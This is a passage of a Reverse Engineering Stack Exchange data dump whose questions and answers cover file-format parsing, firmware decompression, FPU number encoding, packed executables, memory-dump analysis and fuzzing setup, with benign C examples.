  <row Id="8933" PostTypeId="2" ParentId="8930" CreationDate="2015-05-19T14:35:36.837" Score="4" Body="&lt;p&gt;Converted to binary with &lt;a href=&quot;http://www.sweetscape.com/010editor/&quot; rel=&quot;nofollow&quot;&gt;010 Editor&lt;/a&gt;, extracted the strings with &lt;a href=&quot;https://technet.microsoft.com/en-us/sysinternals/bb897439.aspx&quot; rel=&quot;nofollow&quot;&gt;Strings&lt;/a&gt;, and used some clever regex work with &lt;a href=&quot;https://notepad-plus-plus.org/&quot; rel=&quot;nofollow&quot;&gt;Notepad++&lt;/a&gt; to remove some obvious bad strings. Results below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;free&#xA;premium&#xA;shuffle&#xA;all&#xA;commercial&#xA;everywhere&#xA;Fetty Wap&#xA;Wiz Khalifa&#xA;SKE&#xA;Charlie Puth&#xA;T-Wayne&#xA;Major Lazer&#xA;DJ Snake&#xA;DJ Snake&#xA;Jason Derulo&#xA;Jack &#xA;Skrillex&#xA;Cbc&#xA;Diplo&#xA;Justin Bieber&#xA;Walk the Moon&#xA;The Weeknd&#xA;Flo Rida&#xA;Sage The Gemini&#xA;Lookasx&#xA;Mark Ronson&#xA;Bruno Mars&#xA;Sna&#xA;David Guetta&#xA;Afrojack&#xA;Nicki Minaj&#xA;Ellie Goulding&#xA;Srl&#xA;Various Artistsx&#xA;Rihanna&#xA;Natalie La Rose&#xA;Jeremih&#xA;Ed Sheeran&#xA;Tove Lo&#xA;Drake&#xA;Fifth Harmony&#xA;Kid Ink&#xA;XMS&#xA;Omarion&#xA;Chris Brown&#xA;AlunaGeorge&#xA;OMI&#xA;Pitbull&#xA;Parson James&#xA;Andy Grammer&#xA;Kanye West&#xA;Paul McCartney&#xA;Hozier&#xA;doon&#xA;Lil Wayne&#xA;Meghan Trainor&#xA;Ariana Grande&#xA;Usher&#xA;Juicy J&#xA;Sam Smith&#xA;John Legend&#xA;Zedd&#xA;Selena Gomez&#xA;Rae Sremmurd&#xA;Young Thug&#xA;Big Sean&#xA;Trey Songz&#xA;AAC&#xA;Fall Out Boy&#xA;Theophilus London&#xA;Allan Kingdom&#xA;Kendrick Lamar&#xA;Sia&#xA;Deorro&#xA;Vance Joy&#xA;Trap Queen&#xA;Nasty Freestyle&#xA;Peace Is The Mission&#xA;Want To Want Me&#xA;TALKING IS HARD&#xA;MY HOUSE&#xA;Uptown Special&#xA;Love Me Like You Do&#xA;YAP&#xA;Bitch Better Have My Money&#xA;Bitch Better Have My Money&#xA;Somebody&#xA;Queen Of The Clouds&#xA;Queen Of The Clouds&#xA;Sex Playlist&#xA;You Know You Like It&#xA;You Know You Like It&#xA;Cheerleader&#xA;Globalization&#xA;Stole the Show&#xA;Magazines Or Novels&#xA;FourFiveSeconds&#xA;FourFiveSeconds&#xA;AAJ&#xA;Hozier&#xA;Truffle Butter&#xA;Lay Me Down&#xA;I Want You To Know&#xA;I Want You To Know&#xA;SremmLife&#xA;Dark Sky Paradise&#xA;Slow Motion&#xA;All Day&#xA;To Pimp A Butterfly&#xA;In The Lonely Hour&#xA;American Oxygen&#xA;American Oxygen&#xA;Five More Hours&#xA;Dream Your Life Away&#xA;Trap Queen&#xA;Nasty Freestyle&#xA;Want To Want Me&#xA;Shut Up and Dance&#xA;Uptown Funk&#xA;Sugar&#xA;Bitch Better Have My Money&#xA;YAP&#xA;Bitch Better Have My Money&#xA;Somebody&#xA;Thinking Out Loud&#xA;Talking Body&#xA;Talking Body&#xA;Know Yourself&#xA;Worth It&#xA;You Know You Like It&#xA;You Know You Like It&#xA;Time of Our Lives&#xA;Stole the Show&#xA;NPT&#xA;FourFiveSeconds&#xA;FourFiveSeconds&#xA;Take Me To Church&#xA;Take Me To Church&#xA;Ayo&#xA;Energy&#xA;Truffle Butter&#xA;Dear Future Husband&#xA;One Last Time&#xA;Lib&#xA;One Last Time&#xA;Lay Me Down&#xA;I Want You To Know&#xA;I Want You To Know&#xA;Throw Sum Mo&#xA;Slow Motion&#xA;Legend&#xA;Centuries&#xA;Centuries&#xA;All Day&#xA;King Kunta&#xA;Elastic Heart&#xA;Stay With Me&#xA;Stay With Me&#xA;American Oxygen&#xA;American Oxygen&#xA;Riptide&#xA;Blessings&#xA;Top Tracks in The United States&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-19T14:35:36.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8934" PostTypeId="2" ParentId="8921" CreationDate="2015-05-19T20:04:08.270" Score="2" Body="&lt;p&gt;I think that, in general, it may be difficult to distinguish obfuscated code from code generated by a compiler that is either extremely bad or extremely good.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A compiler that does a lousy job of code generation/optimization will generate all sorts of unnecessary/dead instructions.  &lt;/li&gt;&#xA;&lt;li&gt;As examples of high levels of optimization leading to difficult-to-understand code, consider &lt;a href=&quot;http://courses.cs.washington.edu/courses/cse501/15sp/papers/massalin.pdf&quot; rel=&quot;nofollow&quot;&gt;Massalin's work on superoptimizers&lt;/a&gt;, and GCC's use SSE2 instructions and/or aggressive instruction scheduling, e.g., under &lt;strong&gt;gcc -Ofast&lt;/strong&gt;.  Switch statements lead to &lt;a href=&quot;http://www.nextmovesoftware.com/technology/SwitchOptimization.pdf&quot; rel=&quot;nofollow&quot;&gt;all sorts of interesting code generation possibilities&lt;/a&gt; that may look a lot like obfuscation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Extreme cases of obfuscation are relatively esay to detect.  But an obfuscator that's trying to be stealthy will not be easy to detect.&lt;/p&gt;&#xA;" OwnerUserId="2303" LastActivityDate="2015-05-19T20:04:08.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8935" PostTypeId="1" CreationDate="2015-05-19T20:50:53.727" Score="0" ViewCount="705" Body="&lt;p&gt;I'm trying to to reverse engineer a very old STB (it was in service between 2005 and 2014). I successfully dumped the NAND of the box but I'm struggling with the compression used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an extract of the NAND dump which contains the NT loader (it's not being actually used, they use a modified FAT filesystem on the harddrive so guess it was easier to modify something existing)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;003E9C80  C3 4E 54 4C  44 52 06 A0   3C 6E E2 98  AC C5 20 00   .NTLDR..&amp;lt;n.... .&#xA;003E9C90  60 0D 0A 52  65 6D 6F 76   65 20 64 69  73 6B 73 20   `..Remove disks&#xA;003E9CA0  6F 72 4C 74  68 65 20 8F   6D 65 32 61  2E FF 6B 44   orLthe .me2a..kD&#xA;003E9CB0  A1 51 20 E9  72 23 94 09   50 72 65 73  4C 90 61 6E   .Q .r#..PresL.an&#xA;003E9CC0  79 20 6B 65  47 74 6F 20   9A 09 74 61  72 74 23 6B   y keGto ..tart#k&#xA;003E9CD0  83 AC CB D8  07 53 B9 1F   74 11 64 A1  FF 07 3D FC   .....S..t.d...=.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On the actual harddrive the following can be found:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000170  4E 54 4C 44  52 20 20 20   20 20 20 00  00 00 00 00   NTLDR      .....&#xA;00000180  55 00 00 00  00 00 00 00   00 00 00 00  00 00 00 00   U...............&#xA;00000190  00 00 00 00  00 00 00 00   00 00 00 00  00 00 00 00   ................&#xA;000001A0  00 00 00 00  00 00 00 00   00 00 00 00  0D 0A 52 65   ..............Re&#xA;000001B0  6D 6F 76 65  20 64 69 73   6B 73 20 6F  72 20 6F 74   move disks or ot&#xA;000001C0  68 65 72 20  6D 65 64 69   61 2E FF 0D  0A 44 69 73   her media....Dis&#xA;000001D0  6B 20 65 72  72 6F 72 FF   0D 0A 50 72  65 73 73 20   k error...Press &#xA;000001E0  61 6E 79 20  6B 65 79 20   74 6F 20 72  65 73 74 61   any key to resta&#xA;000001F0  72 74 0D 0A  00 00 00 00   00 AC CB D8  00 00 55 AA   rt............U.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I've been reading a lot lately on all kinds of compression and I've been trying really hard to get my head around the compression used but just can't figure it out. It looks like a LZ77 or LZSS compression but I just can't figure out how the length/offsets are calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example on the 3rd line you have &quot;me2a&quot; which should be decompressed to &quot;media&quot; but there is only a single byte used (0x32) that should contain both the marker bit(s), offset and length. I presume it's referring to the &quot;di&quot; from &quot;disks&quot; in the line above, but as stated, I just can't figure it out (yet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="12558" LastEditorUserId="4154" LastEditDate="2015-05-20T08:35:57.503" LastActivityDate="2015-05-20T08:35:57.503" Title="Decompress NAND dump (custom LZ77/LZSS?)" Tags="|binary-analysis|firmware|file-format|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8937" PostTypeId="2" ParentId="8930" CreationDate="2015-05-19T21:48:50.220" Score="4" Body="&lt;p&gt;One of the close reasons on Reverse Engineering is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Questions asking for help reverse-engineering a specific system are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;... and you don't appear to understand the &quot;concepts involved&quot;. This is because I asked for a &quot;binary&quot;, and you posted a paste bin link that starts like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000 11011010 11110111 11101111 00101111 01001100 00000000 11011010 11110111 11101111 00101111 00110000 11010011 10101010 00000001 00001001&#xA;00000100 01100110 01110010 01100101 01100101 00000001 00000111 01110000 01110010 01100101 01101101 01101001 01110101 01101101 00000001 00000111&#xA;(1998 similar lines omitted)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A 'binary', in the context of Reverse Engineering, is an &lt;em&gt;original file&lt;/em&gt;. As it is in binary, before you can parse it, you have to know the exact file format, which seems to be not documented. A cursory search for the first few bytes lead to nothing (if they &lt;em&gt;were&lt;/em&gt; known, they could indicate a &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/6012/is-the-magic-number-important&quot;&gt;magic number&lt;/a&gt; for this particular file type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But all is not lost yet. After converting the (*cough*) binary to a real file again and inspecting it with &lt;a href=&quot;http://www.suavetech.com/0xed/&quot; rel=&quot;nofollow noreferrer&quot;&gt;a simple hex viewer&lt;/a&gt;, I noticed plain text strings, where the byte immediately before it indicated the length of that text string. Further examination - looking at the values immediately &lt;em&gt;following&lt;/em&gt; the text strings - indicated there is at least a single other byte &lt;em&gt;before&lt;/em&gt; the length/data sequences. Not all data are plain text, but that was enough to quickly make up a C program and display what could be read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the program initially did was read two bytes, show them, and then display &lt;em&gt;n&lt;/em&gt; characters that immediately follow. I let the program start at a 'reasonable' position, further up in the file, because the first few entries did not seem to follow the exact same format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was okay for the very first entry (I got a few lines of data &lt;em&gt;and&lt;/em&gt; a text string), but right after that it got lost and didn't display anything useful. Careful examination of the 'failure point' showed that at least one value was special: hex &lt;code&gt;78&lt;/code&gt;, followed by another number, did not indicate that the second number was a data length. So I treated that as a special case: 'no data', and looped on with the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the first 65 entries this went okay-ish: a regular list of raw data, text string, followed by 4 other lists of raw data. Only after that, the same problem appeared again: the list went 'out of sync' and displayed gibberish again. Further examination showed another problematic type byte: &lt;code&gt;08&lt;/code&gt;. This seems to have &lt;em&gt;two&lt;/em&gt; bytes of fixed data. When I treated that as a special case as well, I got loads more useful output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point I stopped, because the general idea was clear. I found it not worth looking further into what the 'raw' data bytes mean, because they do not clearly indicate 'time stamps' or 'song lengths'. The first set of 16 bytes may indicate a hash or an encryption key; the 4 other sets, all 20 bytes, could be the data you are looking for - but they are not in a regular format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I skipped the first 70 or so bytes because I did not immediately could see what they were for – I strongly suspect they contain metadata about the list itself (its number of entries, for example).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the 'text strings' are encoded using UTF8. The 'unknown' characters in&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Skrillex and Diplo present Jack [c3][9c]&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is actually a regular encoding of &quot;Jack Ü&quot;, which is &quot;an American DJ duo, side group and collaborative project&quot; (&lt;a href=&quot;http://en.wikipedia.org/wiki/Jack_%C3%9C&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;). Recognizing 'regular' data sequences such as these is an acquired skill (and verifying that the interpretation is valid is plain common sense; it is only a quick Wikipedia lookup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without further a-do, I wrote up the following C program in less time than it took to write this post.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;int main (void)&#xA;{&#xA;    FILE *f = fopen (&quot;spotify.bin&quot;, &quot;rb&quot;);&#xA;    int i,type,len;&#xA;&#xA;    if (!f)&#xA;    {&#xA;        printf (&quot;no file?\n&quot;);&#xA;        return 0;&#xA;    }&#xA;&#xA;    fseek (f, 0x45, SEEK_SET);&#xA;&#xA;    do&#xA;    {&#xA;        type = fgetc(f);&#xA;        if (type == EOF)&#xA;            break;&#xA;        type &amp;amp;= 0xff;&#xA;        len = fgetc(f) &amp;amp; 0xff;&#xA;&#xA;        printf (&quot;type %02X len %02X: &quot;, type, len);&#xA;        switch (type)&#xA;        {&#xA;            case 0x08:&#xA;                i = fgetc(f);&#xA;                printf (&quot; %02X&quot;, i &amp;amp; 0xff);&#xA;                printf (&quot;\n&quot;);&#xA;                break;&#xA;            case 9:&#xA;                printf (&quot;\&quot;&quot;);&#xA;                while (len--)&#xA;                {&#xA;                    i = fgetc(f);&#xA;                    if (i &amp;gt;= ' ' &amp;amp;&amp;amp; i &amp;lt;= '~')&#xA;                        putchar (i);&#xA;                    else&#xA;                        printf (&quot;[%02x]&quot;, i &amp;amp; 0xff);&#xA;                }&#xA;                printf (&quot;\&quot;\n&quot;);&#xA;                break;&#xA;            case 0x78:&#xA;                printf (&quot;\n&quot;);&#xA;                break;&#xA;            default:&#xA;                while (len--)&#xA;                {&#xA;                    i = fgetc(f);&#xA;                    printf (&quot; %02X&quot;, i &amp;amp; 0xff);&#xA;                }&#xA;                printf (&quot;\n&quot;);&#xA;        }&#xA;    } while (1);&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-05-19T21:48:50.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8938" PostTypeId="1" AcceptedAnswerId="8939" CreationDate="2015-05-19T23:00:14.983" Score="2" ViewCount="74" Body="&lt;p&gt;So im working on an crackme and came across a couple of FPU loads and pops that confused me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address main 0040169E pops 80 bit value of 00000000_FED63690h from the FPU stack (ST0=4275451536.0000000000) to the CPU stack&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but when put on the CPU stack its value is changed to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Stack&#xA;Locked    Value      ASCII Comments&#xA;0028FB38  |D2000000     Ò&#xA;0028FB3C  |41EFDAC6  ÆÚïA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code with some comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main    00401696    PUSH EAX                                EAX=FED63690&#xA;main    00401697    FILD QWORD PTR SS:[LOCAL.268]           Loads the FED63690 as a 64 bit value so -&amp;gt; 00000000_FED63690&#xA;main    0040169A    LEA ESP,[LOCAL.266]                     ESP=0028FB20 (loads address of string on stack), ST0=4275451536.0000000000 (which euals above number)&#xA;main    0040169E    FSTP QWORD PTR SS:[LOCAL.260]           POPS 80 bit value of ST0 onto program stack as 64 bit   &#xA;&#xA;        LOCAL.260 is address 0028FB38&#xA;&#xA;        Stack now looks like:&#xA;&#xA;        CPU Stack&#xA;        Locked    Value      ASCII Comments&#xA;        0028FB38  |D2000000     Ò&#xA;        0028FB3C  |41EFDAC6  ÆÚïA&#xA;&#xA;&#xA;main    004016A4    FLD QWORD PTR SS:[LOCAL.260]            Loads value onto FPU Stack so -&amp;gt; ST0=4275451536.0000000000 (Same as before)&#xA;main    004016AA    FSTP QWORD PTR SS:[LOCAL.264]           &amp;lt;%i&amp;gt; = -771751936.       POPS 80 bit value of ST0 onto program stack as 64 bit&#xA;&#xA;        LOCAL.260 is address 0028FB28&#xA;&#xA;        Stack now looks like:&#xA;&#xA;        CPU Stack&#xA;        Locked    Value      ASCII Comments&#xA;        0028FB28  |D2000000     Ò&#xA;        0028FB2C  |41EFDAC6  ÆÚïA&#xA;&#xA;&#xA;main    004016AE    MOV DWORD PTR SS:[LOCAL.265],00401469   Format =&amp;gt; &quot;%i&quot;&#xA;main    004016B6    LEA EAX,[LOCAL.194]             &#xA;main    004016BC    MOV DWORD PTR SS:[LOCAL.266],EAX        s =&amp;gt; OFFSET LOCAL.194&#xA;main    004016BF    CALL &amp;lt;JMP.&amp;amp;msvcrt.sprintf&amp;gt;          &#xA;&#xA;        Result is:&#xA;&#xA;        s=&quot;-771751936&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11544" LastActivityDate="2015-05-20T12:11:31.650" Title="Trouble understanding change in number when popped from FPU to CPU Stack" Tags="|stack-variables|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8939" PostTypeId="2" ParentId="8938" CreationDate="2015-05-20T12:11:31.650" Score="4" Body="&lt;p&gt;&lt;strong&gt;4275451536&lt;/strong&gt; is greater than &lt;code&gt;2^31&lt;/code&gt; &lt;strong&gt;(2147483648)&lt;/strong&gt; but less than &lt;code&gt;2 ^32&lt;/code&gt; &lt;strong&gt;(4294967296)&lt;/strong&gt;&lt;br&gt;&#xA;so it is represented as &lt;code&gt;2^31  +  ( 2 ^31 *  ((4275451536 - 2 ^31 ) / 2^31)&lt;/code&gt;&lt;br&gt;&#xA;ie &lt;code&gt;2^31 * 1.990912266075611114501953125&lt;/code&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;exponent is always written with bias (1023 for 64 bit precision) added to it  so &lt;strong&gt;1054 = 0x41e&lt;/strong&gt;     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;fractional part can be written as &lt;code&gt;1/2 + 1/4 + 1/8 + 1/16 + 1/32 + 1/64  ..... 1/2 ^n&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0.984375     &amp;lt; 0.990912266075611114501953125 &amp;lt; 0.9921875&#xA;&#xA;(1/2+...+1/64) &amp;lt;   -------                     &amp;lt; (1/2+....+ 1/128)&#xA; 111111&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;mantissa is approximated upto 52 bits explicitly and 1 or 0 is added implicitly &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a c src that shows the conversion of your specific decimal is shown below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#define BIAS 1023&#xA;int main(void) {&#xA;    char binform[100] = {0};&#xA;    unsigned long a = 4275451536;&#xA;    _ultoa_s(a%2,&amp;amp;binform[0],4,10);&#xA;    a = a/2;&#xA;    int i = 1;&#xA;    while (a&amp;gt;2) {&#xA;        a = a/2;&#xA;        _ultoa_s(a%2,&amp;amp;binform[i++],4,10);&#xA;    }&#xA;    char paddedstr[100] = {0};&#xA;    sprintf_s(paddedstr,100,&quot;%s0000000000000000000000&quot;,_strrev(binform));&#xA;    printf(&quot;%x-%I64x\n&quot;,i+BIAS,_strtoui64(&amp;amp;paddedstr[1],0,2));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on execution the results are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;F2H.exe&#xA;41e-fdac6d2000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-05-20T12:11:31.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8940" PostTypeId="1" CreationDate="2015-05-20T19:03:47.843" Score="1" ViewCount="531" Body="&lt;p&gt;I want to analyze an executable that went through a packer to look for the parts that have been compressed or encrypted. Of course, it also means that I want to find the code for the decompression or decryption procedures in the executable. How can I find these ?&lt;/p&gt;&#xA;" OwnerUserId="11927" LastEditorUserId="53" LastEditDate="2015-06-17T07:19:36.883" LastActivityDate="2015-06-24T17:40:20.097" Title="How to find compressed or encrypted parts in a packed executable?" Tags="|static-analysis|executable|encryption|decryption|decompress|" AnswerCount="2" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8942" PostTypeId="1" AcceptedAnswerId="8962" CreationDate="2015-05-20T23:21:05.570" Score="7" ViewCount="6337" Body="&lt;p&gt;I have a running memory dump saved as a raw binary file.  This isn't a standalone executable - it's literally just a snapshot of running memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a tool that will help me identify assembly instructions within this binary file.  Does such a tool exist?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know you can use OllyDebug or IDAPRO to analyze executables.  However, since this is a full memory dump, it'a not clear to me whether these tools are still applicable.  For a raw memory dump there isn't a clear entry point that IDA can start with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be very helpful.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="12569" LastActivityDate="2020-04-11T18:48:33.673" Title="How to retrieve assembly from a raw memory dump?" Tags="|assembly|memory|digital-forensics|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8943" PostTypeId="1" CreationDate="2015-05-21T14:13:49.380" Score="9" ViewCount="464" Body="&lt;p&gt;Suppose I have a program that has two functions, &lt;code&gt;functionA&lt;/code&gt; and &lt;code&gt;functionB&lt;/code&gt; called sequentially.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;functionA&lt;/code&gt; requires a significant amount of processing in order to execute, and in the course of the execution sets up and maintains many global variables referenced by &lt;code&gt;functionB&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to fuzz input to &lt;code&gt;functionB&lt;/code&gt;, but having to run &lt;code&gt;functionA&lt;/code&gt; first forces me to wait about 10 seconds before I can see the results of a particular test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I save the program state after executing &lt;code&gt;functionA&lt;/code&gt; and resume at &lt;code&gt;functionB&lt;/code&gt; when I want to run a set of tests? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, what mechanisms are there to alter the program variables to reflect the new fuzzing values?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="2147" LastEditDate="2018-08-31T01:24:08.763" LastActivityDate="2018-08-31T01:24:53.393" Title="Saving program execution state for fuzzing" Tags="|dynamic-analysis|fuzzing|instrumentation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="8944" PostTypeId="2" ParentId="8940" CreationDate="2015-05-21T15:22:16.313" Score="3" Body="&lt;p&gt;For &lt;em&gt;most&lt;/em&gt; packers out there:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The start of the decompression or decryption is pretty much the entry point (with a bit of anti-debugging mixed in, perhaps).&lt;/li&gt;&#xA;&lt;li&gt;The end of the decompression or decryption can't be found generically with static analysis.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-05-21T15:22:16.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8945" PostTypeId="2" ParentId="8942" CreationDate="2015-05-21T20:25:46.377" Score="3" Body="&lt;p&gt;If you know the processor type and if its little or big endian you can search for common opcodes used in functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example in x86 its common to see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;mov     ebp, esp&#xA;add     esp ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is 55 8B EC 83 C4 in binary and then search for it in the dump. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'll find areas which contain your opcodes in high density its probably code.&lt;/p&gt;&#xA;" OwnerUserId="12556" LastActivityDate="2015-05-21T20:25:46.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8946" PostTypeId="1" CreationDate="2015-05-21T20:48:29.230" Score="1" ViewCount="565" Body="&lt;p&gt;Sometimes I can't start debugging binary due to being unsupported format for example in IDA. For example I found a Nintendo 3DS game and want to debug it. But the problem is that I can't start debugging because IDA doesn't know this binary format. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to tell the debugger the structure of the binary (what  text structure, etc)? &lt;/p&gt;&#xA;" OwnerUserId="12573" LastEditorDisplayName="user12114" LastEditDate="2018-04-02T10:47:58.723" LastActivityDate="2018-06-02T09:58:22.190" Title="Working with unsupported binary formats" Tags="|ida|disassembly|binary-analysis|debugging|reassembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8947" PostTypeId="2" ParentId="8027" CreationDate="2015-05-21T21:18:01.380" Score="1" Body="&lt;p&gt;The global variable &lt;a href=&quot;http://refspecs.linux-foundation.org/LSB_4.0.0/LSB-Core-generic/LSB-Core-generic/baselib---environ.html&quot; rel=&quot;nofollow&quot;&gt;__environ&lt;/a&gt; holds a pointer to the start of the list.&#xA;In my tests* it was exported by libm.so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;dlfcn.h&amp;gt;&#xA;&#xA;// Slightly modded from http://linux.die.net/man/3/dlopen&#xA;static char*** _findEnviron()&#xA;{&#xA;    void *handle;&#xA;        char *error,&#xA;        ***ret = NULL; //! Pointer to a ** list&#xA;&#xA;    handle = dlopen(&quot;libm.so&quot;, RTLD_LAZY);&#xA;        if (!handle) {&#xA;        fprintf(stderr, &quot;%s\n&quot;, dlerror());&#xA;        return NULL;&#xA;        }&#xA;&#xA;    dlerror();    /* Clear any existing error */&#xA;&#xA;    ret = dlsym(handle, &quot;__environ&quot;);&#xA;&#xA;    if ((error = dlerror()) != NULL)  {&#xA;        fprintf(stderr, &quot;%s\n&quot;, error);&#xA;        dlclose(handle);&#xA;        return NULL;&#xA;    }&#xA;&#xA;    dlclose(handle);&#xA;&#xA;    return ret;&#xA;}&#xA;&#xA;void print(char** p)&#xA;{&#xA;    while(p &amp;amp;&amp;amp; *p)&#xA;    {&#xA;        printf(&quot;%p --&amp;gt; %s\n&quot;, *p, *p);&#xA;        ++p;&#xA;    }&#xA;}&#xA;&#xA;int main(int argc, char** argv, char** envp)&#xA;{&#xA;    char** pEnviron = NULL;&#xA;&#xA;    printf(&quot;Find %p\n&quot;, envp);&#xA;    pEnviron = *_findEnviron();&#xA;    printf(&quot;Found %p\n&quot;, pEnviron);&#xA;&#xA;    print(envp);&#xA;    printf(&quot;---\n&quot;);&#xA;    print(pEnviron);&#xA;&#xA;    getc(stdin);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ol&gt;&#xA;&lt;li&gt;Debian 2.6.32; ldd (Debian EGLIBC 2.13-38+deb7u8) 2.13&lt;/li&gt;&#xA;&lt;li&gt;CentOS7 3.10.0; ldd (GNU libc) 2.17&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8093" LastActivityDate="2015-05-21T21:18:01.380" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8949" PostTypeId="1" AcceptedAnswerId="8951" CreationDate="2015-05-21T22:03:20.717" Score="2" ViewCount="1031" Body="&lt;p&gt;(Note)I have already seen this post: &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/5860/reverse-engineering-program-written-in-python-compiled-with-freeze&quot;&gt;Reverse Engineering program written in Python, compiled with &amp;quot;freeze&amp;quot;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would anyone know how to do what is done in the link above using the PyCommand but with a mac app? The program I am trying to reverse engineer is compiled using the exact same program but the binary is a mac application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately Immunity Debugger is only able to be run on windows, so I cannot use the PyCommand (to my knowledge). Any help is appreciated, thank you.&lt;/p&gt;&#xA;" OwnerUserId="12431" 